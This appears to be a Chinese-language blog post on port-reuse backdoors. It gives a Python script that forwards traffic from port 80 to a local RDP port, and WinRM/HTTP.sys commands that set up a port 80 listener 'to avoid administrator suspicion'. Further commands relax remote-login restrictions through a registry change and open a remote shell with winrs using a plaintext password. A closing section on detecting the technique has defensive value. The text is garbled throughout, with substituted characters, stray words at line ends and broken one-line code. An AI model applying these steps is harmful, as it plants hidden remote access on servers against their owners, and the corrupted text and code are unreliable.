即本地创建2个套接字sock一、sock2,sock1监听80端口,sock2监听其它端口。当有80的链接时,sock1将接收到的数据进行判断,若是是http数据则处理,若是是其它数据则将其转发到sock2的端口。python
在本地创建一个监听和本地开放同样的端口如80端口,当有链接来到时,判断是不是本身的数据包,若是是则处理数据,不然不处理,交给源程序。web
端口重定向只是利用了本地环回地址127.0.0.1转发接收外来数据,端口复用只是利用了socket的相关特性。shell
示例代码:windows
s = socket(AF_INET,SOCK_STREAM,0); setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1)); server.sin_family=AF_INET; server.sin_port=htons(80); server.sin_addr.s_addr=htonl(“127.0.0.1”);
在端口复用技术中最重要的一个函数是setsockopt(),这个函数就决定了端口的重绑定问题。安全
setsockopt()函数,用于任意类型、任意状态套接口的设置选项值。尽管在不一样协议层上存在选项,但本函数仅定义了最高的“套接口”层次上的选项。服务器
在缺省条件下,一个套接口不能与一个已在使用中的本地地址捆绑(bind()))。但有时会须要“重用”地址。由于每个链接都由本地地址和远端地址的组合惟一肯定,因此只要远端地址不一样,两个套接口与一个地址捆绑并没有大碍。为了通知套接口实现不要由于一个地址已被一个套接口使用就不让它与另外一个套接口捆绑,应用程序可在bind()调用前先设置SO_REUSEADDR选项。请注意仅在bind()调用时该选项才被解释;故此无需(但也无害)将一个不会共用地址的套接口设置该选项,或者在bind()对这个或其余套接口无影响状况下设置或清除这一选项。网络
咱们这里要使用的是socket中的SO_REUSEADDR,下面是它的解释。架构
SO_REUSEADDR 提供以下四个功能:socket
SO_REUSEADDR:容许启动一个监听服务器并捆绑其众所周知端口,即便之前创建的将此端口用作他们的本地端口的链接仍存在。这一般是重启监听服务器时出现,若不设置此选项,则bind时将出错。
SO_REUSEADDR:容许在同一端口上启动同一服务器的多个实例,只要每一个实例捆绑一个不一样的本地IP地址便可。对于TCP,咱们根本不可能启动捆绑相同IP地址和相同端口号的多个服务器。
SO_REUSEADDR:容许单个进程捆绑同一端口到多个套接口上,只要每一个捆绑指定不一样的本地IP地址便可。这通常不用于TCP服务器。
SO_REUSEADDR:容许彻底重复的捆绑:当一个IP地址和端口绑定到某个套接口上时,还容许此IP地址和端口捆绑到另外一个套接口上。通常来讲,这个特性仅在支持多播的系统上才有,并且只对UDP套接口而言(TCP不支持多播)。tcp
通常地,咱们须要设置socket为非阻塞模式,原因若是咱们是阻塞模式,有可能会致使原有占用端口服务没法使用或自身程序没法使用,因而可知,端口复用使用非阻塞模式是比较保险的。
然而理论事实是须要检验的,当有些端口设置非阻塞时,原因它的数据传输连续性,可能会致使数据接收异常或者没法接收到数据状况,非阻塞对于短暂型链接影响不大,但对持久性链接可能会有影响,好比3389端口的转发复用,因此使用非阻塞须要视端口状况而定。
此方法目前对Apache和IIS5.0及如下版本有效
目的: 原先存在80端口,但愿22,23,3389复用80端口。
原理:
(1) 外部IP链接本地IP: 192.168.1.2 => 192.168.2.1:80 => 127.0.0.1:3389
(2) 本地IP转向外部IP: 127.0.0.1:3389 => 192.168.2.1:80 => 192.168.1.2
首先外部IP(192.168.2.1)链接本地IP(192.168.1.1)的80端口,因为本地IP(192.168.1.1)端口复用绑定了80端口,因此复用绑定端口监听到了外部IP(192.168.2.1)地址流量,判断是否为HTTP流量,若是是则发送回本地80端口,不然本地IP(192.168.1.1)地址链接本地ip(127.0.0.1)的3389端口,从本地IP(127.0.0.1)端口3389获取到的流量由本地IP(192.168.1.1)地址发送到外部IP(192.168.2.1)地址上,这个过程就完成了整个端口复用重定向。
代码:
#coding=utf-8 import socket import sys import select host='192.168.1.8' port=80 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) s.bind((host,port)) s.listen(10) S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) S1.connect(('127.0.0.1',3389)) print "Start Listen 80 =>3389....." while 1: infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除 if len(infds)!=0:#转发3389需去除 conn,(addr,port)=s.accept() print '[*] connected from ',addr,port data=conn.recv(4096) S1.send(data) recv_data=s1.recv(4096) conn.send(recv_data) print '[-] connected down', S1.close() s.close()
目的:原先存在80端口,而且监听80端口,须要复用80端口为23(其余任意)端口
原理:
外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
内部IP:return(data)=>192.168.1.1:80=>192.168.2.1
端口复用的原理是与源端口占用程序监听同一端口,当复用端口有数据来时,咱们能够判断是不是本身的数据包,若是是本身的,那么就本身处理,不然把数据包交给源端口占用程序处理。
该后门的基本原理是使用Windows的远程管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一块儿实现端口复用后门。
HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。全部基于HTTP.sys驱动的HTTP应用能够共享同一个端口,只须要各自注册的url前缀不同便可。
Net.TCP Port Sharing服务是WCF(Windows Communication Foundation)中的一个新的系统组件,这个服务会开启net.tcp 端口共享功能以达到在用户的不一样进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的,目前将许多不一样HTTP应用程序的流量复用到单个TCP端口上的HTTP.SYS模型已经成为Windows平台上的标准配置。这为防火墙管理员提供了一个共同的控制点,同时容许应用程序开发人员最小化构建可利用网络新应用程序的部署成本。跨多个 HTTP应用程序共享端口的功能一直是Internet信息服务(IIS)的一项功能。实际上,HTTP.SYS容许任意用户进程共享专用于HTTP流量的TCP端口。
HTTP.sys是在Windows Server 2003最开始引进的,这个驱动监听HTTP流量,而后根据URL注册的状况去分发,这样多个进程能够在同一个端口监听HTTP流量
匹配过程:
使用 netsh http show servicestate
命令能够查看全部在HTTP.sys上注册过的url前缀。
实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也能够看出来。
所以,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener便可实现端口复用,能够直接经过Web端口登陆Windows服务器。
步骤:
Windows Server 2012及以上,已经默认开启WinRM并监听了5985端口
Windows Server 2008及一下,使用 winrm quickconfig -q
命令开启WinRM并自动从防火墙放行5985端口。
winrm使用端口:http 5985 https 5986
对于本来就开放了WinRM的机器(Server 2012),须要保留该端口,以避免影响系统管理员正常使用,同时还须要新增一个80端口的Listener供攻击者使用。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
即Windows Server 2012,只须要执行上述命令便可实现端口复用。
此时使用netsh http show servicestate
查看能够看到,http.sys新注册了一条url前缀:
对于本来未开放WinRM服务的机器(Server 2008),须要把新开的5985端口修改至80端口,避免引发系统管理员怀疑。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
即Windows Server 2008,须要开启WinRM服务后,使用上述命令修改端口便可实现端口复用。
首先开启本机WinRM服务,而后设置信任链接的主机
winrm quickconfig -q # 开启服务 winrm set winrm/config/Client @{TrustedHosts="*"} # 设置信任链接的主机
而后执行使用winrs命令链接远程WinRM服务便可执行命令。
winrs -r:http://www.baidu.com -u:administrator -p:P@ssw0rd whoami
上述会在远程主机执行whoami命令。使用cmd替换whoami便可获得一个交互式shell。
注意:
此时会在目标主机安全日志中产生登陆类型为 3
的登陆记录, 这次登陆的登陆事件顺序为:"凭据验证" -> "特殊登陆" -> "登陆(4624)" -> "注销(4634)"
登陆事件展开:
WinRM服务也是受UAC影响的,因此本地管理员用户组里面只有administrator能够登陆,其余管理员用户是无法远程登陆WinRM的。要容许本地管理员组的其余用户登陆WinRM,须要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后使用管理员组用户便可登陆WinRM。
系统自带的winrs命令登陆时须要使用明文帐号密码,那不少场景下尤为是windows 2012之后,常常只能抓取到本地用户的hash,没法轻易得到明文密码。所以须要实现一款支持使用NTLM hash登陆的客户端,使用python来实现不难。
能够在服务和应用程序
中查找是否存在Windows Remote Management (WS-Management)
,存在则证实WinRM服务已经开启(此时已经能够经过winrm监听的端口远程链接主机)。
可执行netsh http show servicestate
命令,找到输出结果中注册的url前缀为WSMAN
的端口,而后执行winrm e winrm/config/listener
命令获取winrm端口(HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Listener\\
),比较结果,若是有重合,则证实存在http.sys端口复用问题。
https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager